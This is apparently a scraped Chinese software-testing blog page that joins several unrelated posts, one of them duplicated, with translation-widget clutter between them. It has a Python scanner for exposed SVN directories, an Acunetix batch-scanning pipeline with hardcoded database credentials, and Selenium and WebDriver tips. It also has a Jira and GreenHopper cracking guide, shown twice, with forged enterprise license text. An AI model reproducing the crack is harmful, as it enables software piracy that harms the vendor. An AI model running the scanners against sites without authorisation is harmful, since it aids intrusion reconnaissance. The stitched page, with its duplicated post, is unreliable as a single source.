快放假了,比較閑,寫了個(gè)svn信息泄漏的探測工具,嚴(yán)格意義上說和wwwscan功能差不多,判斷是否存在/.svn/等目錄,貼上代碼:
#coding:utf-8
import sys
import httplib2
if len(sys.argv)<2:
print 'Usag:'+"svnscan.py"+" host"
sys.exit()
#判斷輸入url是否是http開頭
if sys.argv[1].startswith('http://'):
host=sys.argv[1]
else:
host="http://"+sys.argv[1]
#訪問一個(gè)不存在的目錄,將返回的status和content-length做為特征
status=''
contentLen=''
http=httplib2.Http()
dirconurl=host+'/nodirinthiswebanx4dm1n/'
dirresponse=http.request(dirconurl,'GET')
status=dirresponse[0].status
contentLen=dirresponse[0].get('content-length')
#字典中保存svn的常見目錄,逐個(gè)訪問和特征status、content-length進(jìn)行比對
f=open(r'e:\svnpath.txt','r')
pathlist=f.readlines()
def svnscan(subpath):
for svnpath in pathlist:
svnurl=host+svnpath.strip('\r\n')
response=http.request(svnurl,'GET')
if response[0].status!=status and response[0].get('content-length')!=contentLen:
print "vuln:"+svnurl
if __name__=='__main__':
svnscan(host)
f.close()
svnpath.txt文件中保存的常見的svn版本控制的目錄路徑等,借鑒了某大嬸的思路,根據(jù)返回的狀態(tài)碼、content-length跟一個(gè)不存在的目錄返回的狀態(tài)碼、content-length進(jìn)行比對,主要目的是確保判斷的準(zhǔn)確性,因?yàn)橛行┱军c(diǎn)可能會有404提示頁等等。
目前只能想到的是存在svn目錄,且權(quán)限設(shè)置不嚴(yán)格的,所以這個(gè)程序應(yīng)該是不能準(zhǔn)確判斷是否存在漏洞,只能探測是否存在svn的目錄。
不知道還有其它的辦法來確認(rèn)一個(gè)站點(diǎn)是否存在svn目錄?目錄瀏覽返回的狀態(tài)應(yīng)該也是200?還是有另外的狀態(tài)碼?
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
最近再做一個(gè)python的小程序,主要功能是實(shí)現(xiàn)Acuenetix Web Vulnerability Scanner的自動化掃描,批量對一些目標(biāo)進(jìn)行掃描,然后對掃描結(jié)果寫入
mysql 數(shù)據(jù)庫。寫這篇
文章 ,分享一下一些思路。
程序主要分三個(gè)功能模塊,Url下載、批量掃描、結(jié)果入庫,
有一個(gè)另外獨(dú)立的程序,在流量鏡像服務(wù)器上進(jìn)行抓包,抓取Http協(xié)議的包,然后對包進(jìn)行篩選處理,保留一些帶有各種參數(shù)的url,然后對url進(jìn)行入庫。url下載功能主要是從mysql數(shù)據(jù)庫中下載url。
批量掃描功能主要調(diào)用了Awvs的命令行wvs_console.exe,調(diào)研的時(shí)候先是嘗試用awvs計(jì)劃任務(wù)來實(shí)現(xiàn)批量掃描,但是發(fā)現(xiàn)在將一些awvs設(shè)置發(fā)包給計(jì)劃任務(wù)的時(shí)候會遇到各種困難,計(jì)劃任務(wù)貌似也不是一個(gè)網(wǎng)頁,采用的是XML模版,技術(shù)有限,最后沒實(shí)現(xiàn),只好放棄。
之后發(fā)現(xiàn)Awvs支持命令行,wvs_console.exe就是主程序,有很多命令參數(shù),基本能實(shí)現(xiàn)Awvs界面操作的所有功能。批量掃描主要是讀取下載到本地的url,進(jìn)行逐一掃描。要將掃描結(jié)果保存到本地access數(shù)據(jù)庫文件,需要使用savetodatabase參數(shù)。
Awvs會自動將掃描結(jié)果保存到本地的access數(shù)據(jù)庫中,具體的表是Wvs_alerts,也可以設(shè)置保存到Mssql數(shù)據(jù)庫中,具體的是在Application Setting進(jìn)行設(shè)置。結(jié)果入庫模塊的功能是從access數(shù)據(jù)庫篩選出危害等級為3的漏洞,然后將它們寫入到mysql數(shù)據(jù)庫。主要用了正則表達(dá)式對request中的host,漏洞文件,get或post提交的請求進(jìn)行篩選拼湊,獲取到完整的漏洞測試url。
貼上代碼,很菜,代碼各種
Bug ,最主要的是程序的整個(gè)流程設(shè)計(jì)存在問題,導(dǎo)致后來被大佬給否掉了,沒有考慮到重復(fù)掃描和程序異常中止的情況,導(dǎo)致我的程序只能一直運(yùn)行下去 ,否則重新運(yùn)行又會從頭對url進(jìn)行掃描。
對此很郁悶,某天晚上下班回家想了想,覺得可以通過以下方法來解決以上兩個(gè)問題:
Awvs掃描結(jié)果
數(shù)據(jù)庫 中有一個(gè)Wvs_scans表,保存的都是掃描過的url,以及掃描開始時(shí)間和結(jié)束時(shí)間。可以將當(dāng)天下載的url保存到一個(gè)list中,然后在掃描之前先將之前所有掃描過的URL查詢出來,同樣保存在list中,讀取list中的url,判斷是否在掃描過的URL list中,如果存在將之從url list中刪除掉;如果不存在則再進(jìn)行掃描。
異常中止的話貌似只能增加系統(tǒng)計(jì)劃任務(wù),每天結(jié)束再打開,不知道如何時(shí)時(shí)監(jiān)視系統(tǒng)進(jìn)程,通過是否存在wvs的進(jìn)程來判斷。
以上只是一個(gè)大概的程序介紹,貼上代碼,代碼可能存在一些問題,有興趣的童鞋去完善完善,大佬覺得我的效率和編碼能力有待提高,so,讓繼續(xù)
學(xué)習(xí) ,所以沒再繼續(xù)跟進(jìn)這個(gè)項(xiàng)目。
downurl.py 代碼:
#coding:utf-8
import MySQLdb
import os,time,shutil
import hashlib,re
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
#filetype='.txt'
#urlfilename=datanow+filetype
#path="D:\wvscan\url\\"
#newfile=path+urlfilename
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
con=MySQLdb.Connect('10.1.1.1','root','12345678','wvsdb')
cur=con.cursor()
sqlstr='select url from urls where time like %s'
values=datanow+'%'
cur.execute(sqlstr,values)
data=cur.fetchall()
#將當(dāng)天的URL保存到本地url.txt文件
f=open(r'd:\Wvscan\url.txt','a+')
uhfile=open(r'd:\Wvscan\urlhash.txt','a+')
line=uhfile.readlines()
#保存之前對url進(jìn)行簡單的處理,跟本地的hash文件比對,確保url.txt中url不重復(fù)
for i in range(0,len(data)):
impurl=str(data[i][0]).split('=')[0]
urlhash=hashlib.new('md5',impurl).hexdigest()
urlhash=urlhash+'\n'
if urlhash in line:
pass
else:
uhfile.write(urlhash)
newurl=str(data[i][0])+'\n'
f.writelines(newurl)
cur.close()
con.close()
抓包程序抓到的url可能重復(fù)率較高,而且都是帶參數(shù)的,保存到本地的時(shí)候截取了最前面的域名+目錄+文件部分進(jìn)行了簡單的去重。Awvs可能不大適合這樣的方式,只需要將全部的域名列出來,然后逐一掃描即可,site Crawler功能會自動爬行。
writeinmysql.py 結(jié)果入庫模塊,代碼:
#coding:UTF-8
import subprocess
import os,time,shutil,sys
import win32com.client
import MySQLdb
import re,hashlib
reload(sys)
sys.setdefaultencoding('utf-8')
#需要先在win服務(wù)器設(shè)置odbc源,指向access文件。實(shí)際用pyodbc模塊可能更好一些
def writeinmysql():
conn = win32com.client.Dispatch(r'ADODB.Connection')
DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
conn.Open('awvs')
cur=conn.cursor()
rs = win32com.client.Dispatch(r'ADODB.Recordset')
rs.Open('[WVS_alerts]', conn, 1, 3)
if rs.recordcount == 0:
exit()
#遍歷所有的結(jié)果,cmp進(jìn)行篩選危害等級為3的,也就是高危
while not rs.eof:
severity = str(rs('severity'))
if cmp('3', severity):
rs.movenext
continue
vultype = rs('algroup')
vulfile=rs('affects')
#由于mysql庫中要求的漏洞類型和access的名稱有點(diǎn)差別,所以還需要對漏洞類型和危害等級進(jìn)行二次命名,sql注入和xss為例
xss='Cross site'
sqlinject='injection'
if xss in str(vultype):
vultype='XSS'
level='低危'
elif sqlinject in str(vultype):
vultype="SQL注入"
level='高危'
else:
level='中危'
#拼湊出漏洞測試url,用了正則表達(dá)式, post和get類型的request請求是不同的
params = rs('parameter')
ss = str(rs('request'))
str1 = ss[0:4]
if 'POST'== str1:
requestType = 'POST'
regex = 'POST (.*?) HTTP/1\.\d+'
str1 = re.findall(regex, ss);
else:
requestType = 'GET'
regex = 'GET (.*?) HTTP/1\.\d+'
str1 = re.findall(regex, ss);
regex = 'Host:(.*?)\r\n'
host = re.findall(regex, ss);
if host == []:
host = ''
else:
host = host[0].strip()
if str1 == []:
str1 = ''
else:
str1 = str1[0]
url =host + str1
timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))
status=0
scanner='Awvs'
comment=''
db = MySQLdb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8')
cursor = db.cursor()
sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)'
values =[status,comment,vultype,'http://'+url.lstrip(),host,params,level,scanner]
#入庫的時(shí)候又進(jìn)行了去重,確保mysql庫中沒有存在該條漏洞記錄,跟本地保存的vulhash進(jìn)行比對,感覺這種方法很原始。
hashvalue=str(values[2])+str(values[4])+str(vulfile)+str(values[5])
vulhash=hashlib.new('md5',hashvalue).hexdigest()
vulhash=vulhash+'\n'
file=open(r'D:\Wvscan\vulhash.txt','a+')
if vulhash in file.readlines():
pass
else:
file.write(vulhash+'\n')
cursor.execute(sql, values)
delsql='delete from vuls where vultype like %s or vultype like %s'
delvaluea='Slow HTTP%'
delvalueb='Host header%'
delinfo=[delvaluea,delvalueb]
cursor.execute(delsql,delinfo)
db.commit()
rs.movenext
rs.close
conn.close
cursor.close()
db.close()
if __name_=='__main__':
writeinmysql()
time.sleep(10)
#備份每天的掃描數(shù)據(jù)庫,用原始數(shù)據(jù)庫替換,方便第二天繼續(xù)保存。
datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
filetype='.mdb'
urlfilename=datanow+filetype
path="D:\wvscan\databak\\"
databakfile=path+urlfilename
shutil.copyfile(r'D:\Wvscan\data\vulnscanresults.mdb',databakfile)
shutil.copyfile(r'D:\Wvscan\vulnscanresults.mdb',r'D:\Wvscan\data\vulnscanresults.mdb')
startwvs.py,掃描模塊,這個(gè)模塊問題較多,就是之前提到的,沒有考慮重復(fù)掃描和異常終止的問題,貼上代碼:
#coding:utf-8
import subprocess
import os,time,shutil
file=open(r"D:\Wvscan\url.txt","r")
def wvsscan():
for readline in file:
url=readline.strip('\n')
cmd=r"d:\Wvs\wvs_console.exe /Scan "+url+r" /SavetoDatabase"
doscan=subprocess.Popen(cmd)
doscan.wait()
if __name__=='__main__':
wvsscan()
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
selenium大部分的方法參數(shù)都是
java .lang.String locator,假如我們想傳入xptah表達(dá)式,可以在表達(dá)式的開頭加上"xpath=",也可以不加.如下面的兩個(gè)效果是一樣的.
selenium.getAttribute("http://tr/input/@type") === selenium.getAttribute("xpath=//tr/input/@type")
selenium中有一個(gè)比較特別而非常有用的方法
java.lang.Number getXpathCount(java.lang.String xpath)
通過此方法我們可以得到所有匹配xpath的數(shù)量,調(diào)用此方法,傳入的表達(dá)式就不能以"xpath="
開頭.
另外需要知道的是:當(dāng)xpath表達(dá)式匹配到的內(nèi)容有多個(gè)時(shí),seleium默認(rèn)的是取第一個(gè),假如,我們想
自己指定第幾個(gè),可以用"xpath=(xpath表達(dá)式)[n]"來獲取,例如:
selenium.getText("http://table[@id='order']//td[@contains(text(),'刪除')]");
在id為order的table下匹配第一個(gè)包含刪除的td.
selenium.getText("xpath=(//table[@id='order']//td[@contains(text(),'刪除')])[2]");
匹配第二個(gè)包含刪除的td.
在調(diào)試xpath的時(shí)候,我們可以下個(gè)firefox的xpath插件,這樣可以在頁面上通過右鍵開啟xpath插件.
然后隨時(shí)可以檢驗(yàn)xpath所能匹配的內(nèi)容,非常方便.假如通過插件
測試 的xpath表達(dá)式可以匹配
到預(yù)期的內(nèi)容,但是放到selenium中跑卻拿不到,那么最有可能出現(xiàn)的問題是:在你調(diào)用seleium方法
時(shí),傳入的xpath表達(dá)式可能多加了或者是少加了"xpath=".
以下為幾個(gè)常用的xpath:
1.selenium.getAttribute("http://tr/input/@type")
2.selenium.isElementPresent("http://span[@id='submit' and @class='size:12']");
3.selenium.isElementPresent("http://tr[contains(@sytle,'display:none')]");
4.selenium.isElementPresent("http://*[contains(name(),'a')]"); //這個(gè)等價(jià)于 //a
5.selenium.isElementPresent("http://tr[contains(text(),'金錢')]");
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
WebDriver提供了方法來同步/異步執(zhí)行JavaScript代碼,這是因?yàn)镴avaScript可以完成一些WebDriver本身所不能完成的功能,從而讓W(xué)ebDriver更加靈活和強(qiáng)大。
本文中所提到的都是JAVA代碼。
1. 在WebDriver中如何執(zhí)行JavaScript代碼
JavaScript代碼總是以字符串的形式傳遞給WebDriver,不管你的JavaScript代碼是一行還是多行,WebDriver都可以用executeScript方法來執(zhí)行字符串中包含的所有JavaScript代碼。
WebDriver driver = new FirefoxDriver();
JavascriptExecutor driver_js=(JavascriptExecutor)driver;
String js = "alert(\"Hello World!\");";
driver_js.executeScript( js);
2.同步執(zhí)行JavaScript和異步執(zhí)行JavaScript的區(qū)別
同步執(zhí)行:driver_js.executeScript( js)
如果JavaScript代碼的執(zhí)行時(shí)間較短,可以選擇同步執(zhí)行,因?yàn)閃ebdriver會等待同步執(zhí)行的結(jié)果,然后再運(yùn)行其它的代碼。
異步執(zhí)行:driver_js.executeAsyncScript(js)
如果JavaScript代碼的執(zhí)行時(shí)間較長,可以選擇異步執(zhí)行,因?yàn)閃ebdriver不會等待其執(zhí)行結(jié)果,而是直接執(zhí)行下面的代碼。
3. 用Javascript實(shí)現(xiàn)等待頁面加載的功能
public void waitForPageLoad() {
While(driver_js.executeScript("return document.readyState" ).equals ("complete")){
Thread.sleep(500);
}
}
這樣做的缺點(diǎn)是,沒有設(shè)定timeout時(shí)間,如果頁面加載一直不能完成的話,那么代碼也會一直等待。當(dāng)然你也可以為while循環(huán)設(shè)定循環(huán)次數(shù),或者直接采用下面的代碼:
protected Function<WebDriver, Boolean> isPageLoaded() {
return new Function<WebDriver, Boolean>() {
@Override
public Boolean apply(WebDriver driver) {
return ((JavascriptExecutor) driver).executeScript("returndocument.readyState").equals("complete");
}
};
}
public voidwaitForPageLoad() {
WebDriverWait wait = new WebDriverWait(driver, 30);
wait.until(isPageLoaded());
}
需要指出的是單純的JavaScript是很難實(shí)現(xiàn)等待功能的,因?yàn)镴avaScript的執(zhí)行是不阻塞主線程的,你可以為指定代碼的執(zhí)行設(shè)定等待時(shí)間,但是卻無法達(dá)到為其它WebDriver代碼設(shè)定等待時(shí)間的目的。有興趣的同學(xué)可以研究一下。
4. Javascrpt模擬點(diǎn)擊操作,并觸發(fā)相應(yīng)事件
String js ="$(\"button.ui-multiselect.ui-widget\").trigger(\"focus\");"
+"$(\"button.ui-multiselect.ui-widget\").click();"
+"$(\"button.ui-multiselect.ui-widget\").trigger(\"open\");";
((JavascriptExecutor)driver).executeScript( js);
5. Javacript scrollbar的操作
String js ="var obj = document.getElementsById(\“div_scroll\”);”
+”obj.scrollTop= obj.scrollHeight/2;”
((JavascriptExecutor)driver).executeScript(js);
6. Javascript重寫confirm
String js ="window.confirm = function(msg){ return true;}”
((JavascriptExecutor)driver).executeScript( js);
通過執(zhí)行上面的js,該頁面上所有的confirm將都不再彈出。
7. 動態(tài)載入jquery
并不是所有的網(wǎng)頁都引入了Jquery,如果我們要在這些網(wǎng)頁上執(zhí)行Jquery代碼,就必須動態(tài)加載Jquery source文件
driver.get("file:///C:/test.html");
boolean flag =(boolean)(driver_js).executeScript("return typeof jQuery =='undefined'");
if (flag)
{
driver_js.executeScript("var jq =document.createElement('script');"
+ "jq.type ='text/javascript'; "
+"jq.src ='http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js';"
+"document.getElementsByTagName('head')[0].appendChild(jq);");
Thread.sleep(3000);
}
waiter.waitForPageLoad();
driver_js.executeScript("$(\"input#testid\").val(\"test\");");
8. 判斷元素是否存在
可以通過下面的辦法來判斷頁面元素是否存在,但是缺點(diǎn)就是如果元素不存在,必須在拋出exception后才能知道,所以會消耗一定的時(shí)間(需要超時(shí)后才會拋出異常)。
boolean ElementExist(By Locator){
try{
driver.findElement(Locator);
return true;
}
catch(org.openqa.selenium.NoSuchElementException ex)
{
return false;
}
}
也許我們可以在JavaScript中判斷頁面元素是否存在,然后再將結(jié)果返回給Webdriver的Java代碼。
頁面元素
String js =" if(document.getElementById("XXX")){ return true; } else{ return false; }”
String result = ((JavascriptExecutor)driver).executeScript(js);
或者
表單元素
String js =" if(document.theForm.###){return true; } else{ return false; }”
String result = ((JavascriptExecutor)driver).executeScript(js);
9. 結(jié)尾
JavaScript在WebDriver中還可以做很多事情,但這還不是全部。比如,我們是否可以編寫代碼來監(jiān)視在整個(gè)Webdrvier測試代碼運(yùn)行過程是否產(chǎn)生過JavaScriptError呢,答案是肯定的,有興趣的同學(xué)可以深入研究一下。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
字體: 小 中 大 | 上一篇 下一篇 | 打印 | 我要投稿 | 推薦標(biāo)簽: 軟件測試工具 JIRA
這種
文章 其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
不過不得不說一下,中國人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
B:程序員哪來的家?
開始正題:
首先
jira 就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對之類的。于是就開始找各種版本。
吐糟的話就不多說了,下面開始正題了:
Jira安裝(簡單說明):
1.下載5.0windows安裝版
2.安裝,下一步到需要輸入授權(quán)的地方
3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
Jira破解:
1.下載破解文件
2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
Description=JIRA\: longmaster
CreationDate=2010-02-22
ContactName=zzhcool@126.com
jira.LicenseEdition=ENTERPRISE
ContactEMail=zzhcool@126.com
Evaluation=false
jira.LicenseTypeName=COMMERCIAL
jira.active=true
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzh
jira.NumberOfUsers=-1
ServerID=B25B-ZTQQ-8QU3-KFBS
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
Jira漢化:
1.下載漢化包
2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
GreenHopper安裝和破解:
1.下載GreenHopper
2.用管理員登錄Jira
3.點(diǎn)擊右上角的"Administrator"
4.選擇插件(Plugins)
5.點(diǎn)擊install
6.上傳插件
7.點(diǎn)擊Manage Existing
8.找到GreenHopper,點(diǎn)config
9.輸入如下內(nèi)容,點(diǎn)add
Description=GreenHopper for JIRA 4\: longmaster
CreationDate=2010-02-21
ContactName=zzhcool@126.com
greenhopper.NumberOfUsers=-1
greenhopper.LicenseTypeName=COMMERCIAL
ContactEMail=zzhcool@126.com
Evaluation=false
greenhopper.LicenseEdition=ENTERPRISE
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzhcool
greenhopper.active=true
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
總結(jié):
不論你是否會用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
字體: 小 中 大 | 上一篇 下一篇 | 打印 | 我要投稿 | 推薦標(biāo)簽: 軟件測試工具 JIRA
這種
文章 其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
不過不得不說一下,中國人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
B:程序員哪來的家?
開始正題:
首先
jira 就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對之類的。于是就開始找各種版本。
吐糟的話就不多說了,下面開始正題了:
Jira安裝(簡單說明):
1.下載5.0windows安裝版
2.安裝,下一步到需要輸入授權(quán)的地方
3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
Jira破解:
1.下載破解文件
2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
Description=JIRA\: longmaster
CreationDate=2010-02-22
ContactName=zzhcool@126.com
jira.LicenseEdition=ENTERPRISE
ContactEMail=zzhcool@126.com
Evaluation=false
jira.LicenseTypeName=COMMERCIAL
jira.active=true
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzh
jira.NumberOfUsers=-1
ServerID=B25B-ZTQQ-8QU3-KFBS
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
Jira漢化:
1.下載漢化包
2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
GreenHopper安裝和破解:
1.下載GreenHopper
2.用管理員登錄Jira
3.點(diǎn)擊右上角的"Administrator"
4.選擇插件(Plugins)
5.點(diǎn)擊install
6.上傳插件
7.點(diǎn)擊Manage Existing
8.找到GreenHopper,點(diǎn)config
9.輸入如下內(nèi)容,點(diǎn)add
Description=GreenHopper for JIRA 4\: longmaster
CreationDate=2010-02-21
ContactName=zzhcool@126.com
greenhopper.NumberOfUsers=-1
greenhopper.LicenseTypeName=COMMERCIAL
ContactEMail=zzhcool@126.com
Evaluation=false
greenhopper.LicenseEdition=ENTERPRISE
licenseVersion=2
MaintenanceExpiryDate=2099-10-24
Organisation=zzhcool
greenhopper.active=true
LicenseID=LID
LicenseExpiryDate=2099-10-24
PurchaseDate=2010-10-25
10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
總結(jié):
不論你是否會用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
今天,每個(gè)人都依賴用于商業(yè),教育和交易目的各類網(wǎng)站。網(wǎng)站涉及到
互聯(lián)網(wǎng) 。人們普遍認(rèn)為,現(xiàn)如今樣樣
工作 都離不開互聯(lián)網(wǎng)。不同類型的用戶連接到網(wǎng)站上為了獲取所需要的不同類型的信息。因此,網(wǎng)站應(yīng)該根據(jù)用戶的不同要求作出響應(yīng)。與此同時(shí),網(wǎng)站的正確的響應(yīng)已經(jīng)成為對于企業(yè)或組織而言至關(guān)重要的成功因素,因此,需要對其進(jìn)行應(yīng)徹底和頻繁的
測試 。
在這里,我們將討論通過各種方法來測試一個(gè)網(wǎng)站。然而,測試一個(gè)網(wǎng)站并不是一件容易的事,因?yàn)槲覀儾粌H需要測試客戶端還需要測試服務(wù)器端。通過這些方法,我們完全可以將網(wǎng)站測試到只存在最少數(shù)量的錯(cuò)誤。
網(wǎng)絡(luò)測試介紹:
系統(tǒng)的客戶端是由瀏覽器顯示的,它通過Internet來連接網(wǎng)站的服務(wù)器.所有網(wǎng)絡(luò)應(yīng)用的核心都是存儲動態(tài)內(nèi)容的關(guān)系
數(shù)據(jù)庫 。事務(wù)服務(wù)器控制了數(shù)據(jù)庫與其他服務(wù)器(通常被稱為“應(yīng)用服務(wù)器”)之間的的交互。管理功能負(fù)責(zé)處理數(shù)據(jù)更新和數(shù)據(jù)庫管理。
根據(jù)上述Web應(yīng)用的架構(gòu),很明顯,我們需要進(jìn)行以下測試以確保web應(yīng)用的適用性。
1)服務(wù)器的預(yù)期負(fù)載如何,并且在該負(fù)載下服務(wù)器需要有什么樣的性能。這可以包括服務(wù)器的響應(yīng)時(shí)間以及數(shù)據(jù)庫查詢響應(yīng)時(shí)間。
2)哪些瀏覽器將被使用?
3)它們有怎樣的連接速度?
4)它們是組織內(nèi)部的(因此具有高連接速度和相似的瀏覽器)或因特網(wǎng)范圍的(因而有各種各樣的連接速度和不同的瀏覽器類型)?
5)預(yù)計(jì)客戶端有怎樣的性能(例如,頁面應(yīng)該多快出現(xiàn),動畫,小程序等多快可以加載并運(yùn)行)?
